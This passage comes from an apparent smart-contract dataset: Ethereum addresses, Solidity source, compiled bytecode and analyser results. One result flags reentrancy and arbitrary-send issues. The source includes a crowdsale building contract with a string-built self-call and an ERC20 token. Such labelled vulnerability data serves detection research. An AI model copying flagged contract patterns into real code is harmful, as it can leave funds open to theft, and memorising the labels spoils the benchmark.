821115612250576122506121a9565b500190565b600082821015612267576122676121a9565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156122bc5784516001600160a01b031683529383019391830191600101612297565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826122fa57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205f8a57add85c0a87689795a527a17c35127ff30bc2288710524688dd5c595abc64736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,000
0x9a100db3bdbd69600e949a9bc650ebf336811afd
pragma solidity ^0.4.18; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract BuildingStatus is Ownable { /* Observer contract */ address public observer; /* Crowdsale contract */ address public crowdsale; enum statusEnum { crowdsale, refund, preparation_works, building_permit, design_technical_documentation, utilities_outsite, construction_residential, frame20, frame40, frame60, frame80, frame100, stage1, stage2, stage3, stage4, stage5, facades20, facades40, facades60, facades80, facades100, engineering, finishing, construction_parking, civil_works, engineering_further, commisioning_project, completed } modifier notCompleted() { require(status != statusEnum.completed); _; } modifier onlyObserver() { require(msg.sender == observer || msg.sender == owner || msg.sender == address(this)); _; } modifier onlyCrowdsale() { require(msg.sender == crowdsale || msg.sender == owner || msg.sender == address(this)); _; } statusEnum public status; event StatusChanged(statusEnum newStatus); function setStatus(statusEnum newStatus) onlyCrowdsale public { status = newStatus; StatusChanged(newStatus); } function changeStage(uint8 stage) public onlyObserver { if (stage==1) status = statusEnum.stage1; if (stage==2) status = statusEnum.stage2; if (stage==3) status = statusEnum.stage3; if (stage==4) status = statusEnum.stage4; if (stage==5) status = statusEnum.stage5; } } /* * Manager that stores permitted addresses */ contract PermissionManager is Ownable { mapping (address => bool) permittedAddresses; function addAddress(address newAddress) public onlyOwner { permittedAddresses[newAddress] = true; } function removeAddress(address remAddress) public onlyOwner { permittedAddresses[remAddress] = false; } function isPermitted(address pAddress) public view returns(bool) { if (permittedAddresses[pAddress]) { return true; } return false; } } contract ERC223Interface { uint public totalSupply; function balanceOf(address who) public view returns (uint); function allowedAddressesOf(address who) public view returns (bool); function getTotalSupply() public view returns (uint); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes data); event TransferContract(address indexed from, address indexed to, uint value, bytes data); } /** * @title Building Object contract. * @author Vladimir Kovalchuk */ contract Object is BuildingStatus { /* Name of an object */ string public name; /* Gross building area */ uint32 public gba; /* Gress sale area */ uint32 public gla; /* Parking space */ uint32 public parking; /* Type of the building */ enum unitEnum {appartment, residential} unitEnum public unit; /* Developer of an object */ string public developer; /* Leed */ string public leed; /* Location of an object */ string public location; /* start date of a project */ uint public constructionStart; /* end of construction of an object */ uint public constructionEnd; // unt sqm uint public untsqm; /* report of completion */ string public report; event ConstructionDateChanged(uint constructStart, uint constructEnd); event PropertyChanged(uint32 gba, uint32 gla, uint32 parking, unitEnum unit, string developer, string leed, string location, uint constructionStart, uint constructionEnd); event HoldChanged(address newHold); event ObserverChanged(address newObserver); event CrowdsaleChanged(address newCrowdsale); event TokenChanged(address newCrowdsale); /* ERC223 Unity token */ ERC223Interface public token; /* Hold contract */ address public hold; /* Permission manager contract */ PermissionManager public permissionManager; modifier onlyPermitted() { require(permissionManager.isPermitted(msg.sender) || msg.sender == owner || msg.sender == address(this)); _; } event Completed(string report); /* Constructor of an object */ function Object(string iName, uint32 iGBA, uint32 iGSA, uint32 iParking, unitEnum iUnit, string iDeveloper, string iLeed, string iLocation, uint iStartDate, uint iEndDate, uint UNTSQM, address iToken, address iCrowdsale, address iObserver, address iHold, address pManager) public { name = iName; gba = iGBA; gla = iGSA; parking = iParking; unit = iUnit; developer = iDeveloper; leed = iLeed; location = iLocation; untsqm = UNTSQM; constructionStart = iStartDate; constructionEnd = iEndDate; token = ERC223Interface(iToken); crowdsale = iCrowdsale; observer = iObserver; hold = iHold; permissionManager = PermissionManager(pManager); } function setPermissionManager(address _permadr) public onlyOwner { require(_permadr != 0x0); permissionManager = PermissionManager(_permadr); } /* * Public setters area */ function setGBA(uint32 newGBA) public onlyPermitted notCompleted { gba = newGBA; PropertyChanged(gba, gla, parking, unit, developer, leed, location, constructionStart, constructionEnd); } function setGLA(uint32 newGLA) public onlyPermitted notCompleted { gla = newGLA; PropertyChanged(gba, gla, parking, unit, developer, leed, location, constructionStart, constructionEnd); } function setParking(uint32 newParking) public onlyPermitted notCompleted { parking = newParking; PropertyChanged(gba, gla, parking, unit, developer, leed, location, constructionStart, constructionEnd); } function setUnit(unitEnum newUnit) public onlyPermitted notCompleted { unit = newUnit; PropertyChanged(gba, gla, parking, unit, developer, leed, location, constructionStart, constructionEnd); } function setDeveloper(string newDeveloper) public onlyPermitted notCompleted { developer = newDeveloper; PropertyChanged(gba, gla, parking, unit, developer, leed, location, constructionStart, constructionEnd); } function setLeed(string newLeed) public onlyPermitted notCompleted { leed = newLeed; PropertyChanged(gba, gla, parking, unit, developer, leed, location, constructionStart, constructionEnd); } function setLocation(string newLocation) public onlyPermitted notCompleted { location = newLocation; PropertyChanged(gba, gla, parking, unit, developer, leed, location, constructionStart, constructionEnd); } function setStartDate(uint newStartDate) public onlyPermitted notCompleted { constructionStart = newStartDate; PropertyChanged(gba, gla, parking, unit, developer, leed, location, constructionStart, constructionEnd); } function setEndDate(uint newEndDate) public onlyPermitted notCompleted { constructionEnd = newEndDate; PropertyChanged(gba, gla, parking, unit, developer, leed, location, constructionStart, constructionEnd); } function setName(string _name) public onlyPermitted notCompleted { name = _name; PropertyChanged(gba, gla, parking, unit, developer, leed, location, constructionStart, constructionEnd); } function setUntsqm(uint _untsqm) public onlyPermitted notCompleted { untsqm = _untsqm; PropertyChanged(gba, gla, parking, unit, developer, leed, location, constructionStart, constructionEnd); } function setObserver(address _observer) public onlyOwner { require(_observer != 0x0); observer = _observer; ObserverChanged(_observer); } function setToken(address _token) public onlyOwner { require(_token != 0x0); token = ERC223Interface(_token); TokenChanged(_token); } function setHold(address _hold) public onlyOwner { require(_hold != 0x0); hold = _hold; HoldChanged(_hold); } function setCrowdsale(address _crowdsale) public onlyOwner { require(_crowdsale != 0x0); crowdsale = _crowdsale; CrowdsaleChanged(_crowdsale); } function getTotalSupply() public view returns (uint) { return token.getTotalSupply(); } function getUNTSQM() public view returns (uint) { return untsqm; } function setProperty(string property, string typeArg, uint intVal, string strVal) public onlyObserver { string memory set = "set"; string memory s = "("; string memory s2 = ")"; bytes memory _ba = bytes(set); bytes memory _bb = bytes(property); bytes memory _t = bytes(typeArg); bytes memory _s = bytes(s); bytes memory _s2 = bytes(s2); string memory ab = new string(_ba.length + _bb.length + 1 + _t.length + 1); bytes memory babcde = bytes(ab); uint k = 0; for (uint i = 0; i < _ba.length; i++) { babcde[k++] = _ba[i]; } for (i = 0; i < _bb.length; i++) { babcde[k++] = _bb[i]; } babcde[k++] = _s[0]; for (i = 0; i < _t.length; i++) { babcde[k++] = _t[i]; } babcde[k++] = _s2[0]; if (intVal == 0) { assert(this.call(bytes4(keccak256(string(babcde))), strVal)); } else { assert(this.call(bytes4(keccak256(string(babcde))), intVal)); } } function completeStatus(string newReport) public onlyOwner notCompleted { status = statusEnum.completed; report = newReport; Completed(report); } }
0x6060604052600436106101e95763ffffffff60e060020a600035041662e0c53f81146101ee57806306fdde031461021d578063144fa6d7146102a7578063200d2ed2146102c85780632606a10b146102ff578063291ea526146103125780632e49d78b146103375780633784f000146103505780634314162d1461036657806344b55c3a14610379578063483a20b21461039557806349e4b3e5146103b4578063516f279e146103d35780635e46f419146103e657806368e1569a146103f9578063827bfbdf1461042557806382d95df51461047657806385efa3aa1461048c578063893d2eec146104ab5780638da5cb5b146104c4578063907af6c0146104d757806394d9c9c7146104fa5780639710f014146105195780639c1e03a01461056a578063a0ea0ef91461057d578063a2ae86ac14610590578063a618993c146105a6578063b9172dec146105c2578063c47f0027146105db578063c4e41b221461062c578063c58ce2201461063f578063c6a5295914610690578063c768051a146106a3578063ca4b208b146106b6578063cc7a2049146106c9578063cca854a4146106dc578063d65f86f2146107ba578063da46e48e1461080b578063e02d306f14610827578063eb70e4981461083a578063f2fde38b1461084d578063fc0c546a1461086c575b600080fd5b34156101f957600080fd5b61020161087f565b604051600160a060020a03909116815260200160405180910390f35b341561022857600080fd5b61023061088e565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561026c578082015183820152602001610254565b50505050905090810190601f1680156102995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156102b257600080fd5b6102c6600160a060020a036004351661092c565b005b34156102d357600080fd5b6102db6109b7565b6040518082601c8111156102eb57fe5b60ff16815260200191505060405180910390f35b341561030a57600080fd5b6102306109c7565b341561031d57600080fd5b610325610a32565b60405190815260200160405180910390f35b341561034257600080fd5b6102c660ff60043516610a38565b341561035b57600080fd5b6102c6600435610af9565b341561037157600080fd5b610325610def565b341561038457600080fd5b6102c663ffffffff60043516610df5565b34156103a057600080fd5b6102c6600160a060020a0360043516610f68565b34156103bf57600080fd5b6102c6600160a060020a0360043516610ff3565b34156103de57600080fd5b610230611045565b34156103f157600080fd5b6102306110b0565b341561040457600080fd5b61040c61111b565b60405163ffffffff909116815260200160405180910390f35b341561043057600080fd5b6102c660046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061113395505050505050565b341561048157600080fd5b6102c660043561129e565b341561049757600080fd5b6102c6600160a060020a03600435166113f8565b34156104b657600080fd5b6102c660ff60043516611483565b34156104cf57600080fd5b610201611607565b34156104e257600080fd5b6104ea611616565b604051808260018111156102eb57fe5b341561050557600080fd5b6102c6600160a060020a0360043516611626565b341561052457600080fd5b6102c660046024813581810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506116b195505050505050565b341561057557600080fd5b6102016117d9565b341561058857600080fd5b6103256117e8565b341561059b57600080fd5b6102c66004356117ee565b34156105b157600080fd5b6102c663ffffffff6004351661194a565b34156105cd57600080fd5b6102c660ff60043516611ab5565b34156105e657600080fd5b6102c660046024813581810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650611c0e95505050505050565b341561063757600080fd5b610325611cfa565b341561064a57600080fd5b6102c660046024813581810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650611d6495505050505050565b341561069b57600080fd5b61040c611e50565b34156106ae57600080fd5b61040c611e5c565b34156106c157600080fd5b610230611e70565b34156106d457600080fd5b610201611edb565b34156106e757600080fd5b6102c660046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052818152929190602084018383808284378201915050505050509190803590602001909190803590602001908201803590602001908080601f016020809104026020016040519081016040528181529291906020840183838082843750949650611eea95505050505050565b34156107c557600080fd5b6102c660046024813581810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506123ea95505050505050565b341561081657600080fd5b6102c663ffffffff600435166124d6565b341561083257600080fd5b610325612646565b341561084557600080fd5b61020161264c565b341561085857600080fd5b6102c6600160a060020a036004351661265b565b341561087757600080fd5b6102016126e9565b600d54600160a060020a031681565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109245780601f106108f957610100808354040283529160200191610924565b820191906000526020600020905b81548152906001019060200180831161090757829003601f168201915b505050505081565b60005433600160a060020a0390811691161461094757600080fd5b600160a060020a038116151561095c57600080fd5b600c8054600160a060020a031916600160a060020a0383161790557f5d108ca248943e98e1886bbc2c38beda701271994a14354258a11692b81b73cf81604051600160a060020a03909116815260200160405180910390a150565b60025460a060020a900460ff1681565b600b8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109245780601f106108f957610100808354040283529160200191610924565b60095481565b60025433600160a060020a0390811691161480610a63575060005433600160a060020a039081169116145b80610a7f575030600160a060020a031633600160a060020a0316145b1515610a8a57600080fd5b6002805482919060a060020a60ff02191660a060020a83601c811115610aac57fe5b02179055507fafa725e7f44cadb687a7043853fa1a7e7b8f0da74ce87ec546e9420f04da8c1e816040518082601c811115610ae357fe5b60ff16815260200191505060405180910390a150565b600e54600160a060020a0316633fd8cc4e3360006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610b5257600080fd5b6102c65a03f11515610b6357600080fd5b5050506040518051905080610b86575060005433600160a060020a039081169116145b80610ba2575030600160a060020a031633600160a060020a0316145b1515610bad57600080fd5b601c60025460a060020a900460ff16601c811115610bc757fe5b1415610bd257600080fd5b60098190556004546008546000805160206127a38339815191529163ffffffff80821692640100000000830482169268010000000000000000810490921691606060020a900460ff16906005906006906007908960405163ffffffff808b16825289811660208301528816604082015260608101876001811115610c5257fe5b60ff1681526080810184905260a0810183905260c0828203810160208301908152885460026001821615610100026000190190911604918301829052916040810191606082019160e001908a908015610cec5780601f10610cc157610100808354040283529160200191610cec565b820191906000526020600020905b815481529060010190602001808311610ccf57829003601f168201915b5050848103835288546002600019610100600184161502019091160480825260209091019089908015610d605780601f10610d3557610100808354040283529160200191610d60565b820191906000526020600020905b815481529060010190602001808311610d4357829003601f168201915b5050848103825287546002600019610100600184161502019091160480825260209091019088908015610dd45780601f10610da957610100808354040283529160200191610dd4565b820191906000526020600020905b815481529060010190602001808311610db757829003601f168201915b50509c5050505050505050505050505060405180910390a150565b600a5481565b600e54600160a060020a0316633fd8cc4e3360006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610e4e57600080fd5b6102c65a03f11515610e5f57600080fd5b5050506040518051905080610e82575060005433600160a060020a039081169116145b80610e9e575030600160a060020a031633600160a060020a0316145b1515610ea957600080fd5b601c60025460a060020a900460ff16601c811115610ec357fe5b1415610ece57600080fd5b600480546bffffffff000000000000000019166801000000000000000063ffffffff848116820292909217928390556008546009546000805160206127a38339815191529480851694640100000000820481169482041692606060020a90910460ff16916005916006916007919060405163ffffffff808b16825289811660208301528816604082015260608101876001811115610c5257fe5b60005433600160a060020a03908116911614610f8357600080fd5b600160a060020a0381161515610f9857600080fd5b60028054600160a060020a031916600160a060020a0383161790557f6b5788f74cba62586fb49459ebf21891e39675d9e72eebcdce813a619dbcf13381604051600160a060020a03909116815260200160405180910390a150565b60005433600160a060020a0390811691161461100e57600080fd5b600160a060020a038116151561102357600080fd5b600e8054600160a060020a031916600160a060020a0392909216919091179055565b60078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109245780601f106108f957610100808354040283529160200191610924565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109245780601f106108f957610100808354040283529160200191610924565b60045468010000000000000000900463ffffffff1681565b600e54600160a060020a0316633fd8cc4e3360006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561118c57600080fd5b6102c65a03f1151561119d57600080fd5b50505060405180519050806111c0575060005433600160a060020a039081169116145b806111dc575030600160a060020a031633600160a060020a0316145b15156111e757600080fd5b601c60025460a060020a900460ff16601c81111561120157fe5b141561120c57600080fd5b600781805161121f9291602001906126f8565b506004546008546009546000805160206127a38339815191529263ffffffff80821693640100000000830482169368010000000000000000840490921692606060020a900460ff16916005916006916007919060405163ffffffff808b16825289811660208301528816604082015260608101876001811115610c5257fe5b600e54600160a060020a0316633fd8cc4e3360006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156112f757600080fd5b6102c65a03f1151561130857600080fd5b505050604051805190508061132b575060005433600160a060020a039081169116145b80611347575030600160a060020a031633600160a060020a0316145b151561135257600080fd5b601c60025460a060020a900460ff16601c81111561136c57fe5b141561137757600080fd5b60088190556004546009546000805160206127a38339815191529163ffffffff80821692640100000000830482169268010000000000000000810490921691606060020a900460ff1690600590600690600790899060405163ffffffff808b16825289811660208301528816604082015260608101876001811115610c5257fe5b60005433600160a060020a0390811691161461141357600080fd5b600160a060020a038116151561142857600080fd5b600d8054600160a060020a031916600160a060020a0383161790557f77bef92e7a30a3b1f95c0a1b023230afdf5bc4743ef92e68c270eafe99d7e7c381604051600160a060020a03909116815260200160405180910390a150565b600e54600160a060020a0316633fd8cc4e3360006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156114dc57600080fd5b6102c65a03f115156114ed57600080fd5b5050506040518051905080611510575060005433600160a060020a039081169116145b8061152c575030600160a060020a031633600160a060020a0316145b151561153757600080fd5b601c60025460a060020a900460ff16601c81111561155157fe5b141561155c57600080fd5b600480548291906cff0000000000000000000000001916606060020a83600181111561158457fe5b02179055506004546008546009546000805160206127a38339815191529263ffffffff80821693640100000000830482169368010000000000000000840490921692606060020a900460ff16916005916006916007919060405163ffffffff808b16825289811660208301528816604082015260608101876001811115610c5257fe5b600054600160a060020a031681565b600454606060020a900460ff1681565b60005433600160a060020a0390811691161461164157600080fd5b600160a060020a038116151561165657600080fd5b60018054600160a060020a031916600160a060020a0383161790557fc11535b80a28d254ee82d43c28fd9371f50d2e176fbd4869a2696bf442cae6ae81604051600160a060020a03909116815260200160405180910390a150565b60005433600160a060020a039081169116146116cc57600080fd5b601c60025460a060020a900460ff16601c8111156116e657fe5b14156116f157600080fd5b6002805460a060020a60ff021916741c0000000000000000000000000000000000000000179055600b81805161172b9291602001906126f8565b507fa554c5ece40ddc458252a21d6268e4a67f51cbe8e2f00c818417161c854a817f600b604051602080825282546002600019610100600184161502019091160490820181905281906040820190849080156117c85780601f1061179d576101008083540402835291602001916117c8565b820191906000526020600020905b8154815290600101906020018083116117ab57829003601f168201915b50509250505060405180910390a150565b600254600160a060020a031681565b60085481565b600e54600160a060020a0316633fd8cc4e3360006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561184757600080fd5b6102c65a03f1151561185857600080fd5b505050604051805190508061187b575060005433600160a060020a039081169116145b80611897575030600160a060020a031633600160a060020a0316145b15156118a257600080fd5b601c60025460a060020a900460ff16601c8111156118bc57fe5b14156118c757600080fd5b600a8190556004546008546009546000805160206127a38339815191529263ffffffff80821693640100000000830482169368010000000000000000840490921692606060020a900460ff16916005916006916007919060405163ffffffff808b16825289811660208301528816604082015260608101876001811115610c5257fe5b600e54600160a060020a0316633fd8cc4e3360006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156119a357600080fd5b6102c65a03f115156119b457600080fd5b50505060405180519050806119d7575060005433600160a060020a039081169116145b806119f3575030600160a060020a031633600160a060020a0316145b15156119fe57600080fd5b601c60025460a060020a900460ff16601c811115611a1857fe5b1415611a2357600080fd5b6004805463ffffffff191663ffffffff83811691909117918290556008546009546000805160206127a38339815191529380841693640100000000820481169368010000000000000000830490911692606060020a90920460ff16916005916006916007919060405163ffffffff808b16825289811660208301528816604082015260608101876001811115610c5257fe5b60015433600160a060020a0390811691161480611ae0575060005433600160a060020a039081169116145b80611afc575030600160a060020a031633600160a060020a0316145b1515611b0757600080fd5b8060ff1660011415611b3b576002805460a060020a60ff021916740c00000000000000000000000000000000000000001790555b8060ff1660021415611b6f576002805460a060020a60ff021916740d00000000000000000000000000000000000000001790555b8060ff1660031415611ba3576002805460a060020a60ff021916740e00000000000000000000000000000000000000001790555b8060ff1660041415611bd7576002805460a060020a60ff021916740f00000000000000000000000000000000000000001790555b8060ff1660051415611c0b576002805460a060020a60ff021916741000000000000000000000000000000000000000001790555b50565b600e54600160a060020a0316633fd8cc4e3360006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515611c6757600080fd5b6102c65a03f11515611c7857600080fd5b5050506040518051905080611c9b575060005433600160a060020a039081169116145b80611cb7575030600160a060020a031633600160a060020a0316145b1515611cc257600080fd5b601c60025460a060020a900460ff16601c811115611cdc57fe5b1415611ce757600080fd5b600381805161121f9291602001906126f8565b600c54600090600160a060020a031663c4e41b2282604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515611d4457600080fd5b6102c65a03f11515611d5557600080fd5b50505060405180519150505b90565b600e54600160a060020a0316633fd8cc4e3360006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515611dbd57600080fd5b6102c65a03f11515611dce57600080fd5b5050506040518051905080611df1575060005433600160a060020a039081169116145b80611e0d575030600160a060020a031633600160a060020a0316145b1515611e1857600080fd5b601c60025460a060020a900460ff16601c811115611e3257fe5b1415611e3d57600080fd5b600581805161121f9291602001906126f8565b60045463ffffffff1681565b600454640100000000900463ffffffff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109245780601f106108f957610100808354040283529160200191610924565b600e54600160a060020a031681565b611ef2612776565b611efa612776565b611f02612776565b611f0a612776565b611f12612776565b611f1a612776565b611f22612776565b611f2a612776565b611f32612776565b611f3a612776565b600154600090819033600160a060020a0390811691161480611f6a575060005433600160a060020a039081169116145b80611f86575030600160a060020a031633600160a060020a0316145b1515611f9157600080fd5b6040805190810160405280600381526020017f73657400000000000000000000000000000000000000000000000000000000008152509b506040805190810160405280600181526020017f28000000000000000000000000000000000000000000000000000000000000008152509a5060408051908101604052600181527f2900000000000000000000000000000000000000000000000000000000000000602082015299508b98508f97508e96508a9550899450865188518a5101600101016001016040518059106120615750595b818152601f19601f83011681016020016040529050935083925060009150600090505b88518110156120dd5788818151811061209957fe5b016020015160f860020a900460f860020a028383806001019450815181106120bd57fe5b906020010190600160f860020a031916908160001a905350600101612084565b5060005b875181101561213a578781815181106120f657fe5b016020015160f860020a900460f860020a0283838060010194508151811061211a57fe5b906020010190600160f860020a031916908160001a9053506001016120e1565b8560008151811061214757fe5b016020015160f860020a900460f860020a0283838060010194508151811061216b57fe5b906020010190600160f860020a031916908160001a905350600090505b86518110156121e15786818151811061219d57fe5b016020015160f860020a900460f860020a028383806001019450815181106121c157fe5b906020010190600160f860020a031916908160001a905350600101612188565b846000815181106121ee57fe5b016020015160f860020a900460f860020a0283838060010194508151811061221257fe5b906020010190600160f860020a031916908160001a9053508d151561232f5730600160a060020a0316836040518082805190602001908083835b6020831061226b5780518252601f19909201916020918201910161224c565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a90048e6040518263ffffffff1660e060020a02815260040180828051906020019080838360005b838110156122db5780820151838201526020016122c3565b50505050905090810190601f1680156123085780820380516001836020036101000a031916815260200191505b5091505060006040518083038160008761646e5a03f192505050151561232a57fe5b6123d8565b30600160a060020a0316836040518082805190602001908083835b602083106123695780518252601f19909201916020918201910161234a565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a90048f60405160e060020a63ffffffff8416028152600481019190915260240160006040518083038160008761646e5a03f19250505015156123d857fe5b50505050505050505050505050505050565b600e54600160a060020a0316633fd8cc4e3360006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561244357600080fd5b6102c65a03f1151561245457600080fd5b5050506040518051905080612477575060005433600160a060020a039081169116145b80612493575030600160a060020a031633600160a060020a0316145b151561249e57600080fd5b601c60025460a060020a900460ff16601c8111156124b857fe5b14156124c357600080fd5b600681805161121f9291602001906126f8565b600e54600160a060020a0316633fd8cc4e3360006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561252f57600080fd5b6102c65a03f1151561254057600080fd5b5050506040518051905080612563575060005433600160a060020a039081169116145b8061257f575030600160a060020a031633600160a060020a0316145b151561258a57600080fd5b601c60025460a060020a900460ff16601c8111156125a457fe5b14156125af57600080fd5b6004805467ffffffff00000000191664010000000063ffffffff848116820292909217928390556008546009546000805160206127a383398151915294808516949381048416936801000000000000000082041692606060020a90910460ff16916005916006916007919060405163ffffffff808b16825289811660208301528816604082015260608101876001811115610c5257fe5b600a5490565b600154600160a060020a031681565b60005433600160a060020a0390811691161461267657600080fd5b600160a060020a038116151561268b57600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008054600160a060020a031916600160a060020a0392909216919091179055565b600c54600160a060020a031681565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061273957805160ff1916838001178555612766565b82800160010185558215612766579182015b8281111561276657825182559160200191906001019061274b565b50612772929150612788565b5090565b60206040519081016040526000815290565b611d6191905b80821115612772576000815560010161278e5600bb8d2db91a1272e4fd11aeaef95b052093273a0db21a12076b72fee064c3917fa165627a7a7230582077ea06250fd166f57a21a5009001c45d28e4d29d8a4fab3d60fd90e861a37ad40029
{"success": true, "error": null, "results": {}}
5,001
0x2f6f33ab023e3c71b48bcd1a693f4d11012b7169
/** *Submitted for verification at Etherscan.io on 2021-05-05 */ pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor(string name, string symbol, uint8 decimals, uint256 totalSupply, address recipient) public { _name = name; _symbol = symbol; _decimals = decimals; _totalSupply = totalSupply; _balances[recipient] = _balances[recipient].add(_totalSupply); emit Transfer(address(0), recipient, totalSupply); } /** * @return the name of the token. */ function name() public view returns(string) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns(string) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns(uint8) { return _decimals; } /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address owner, address spender ) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom( address from, address to, uint256 value ) public returns (bool) { require(value <= _allowed[from][msg.sender]); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ 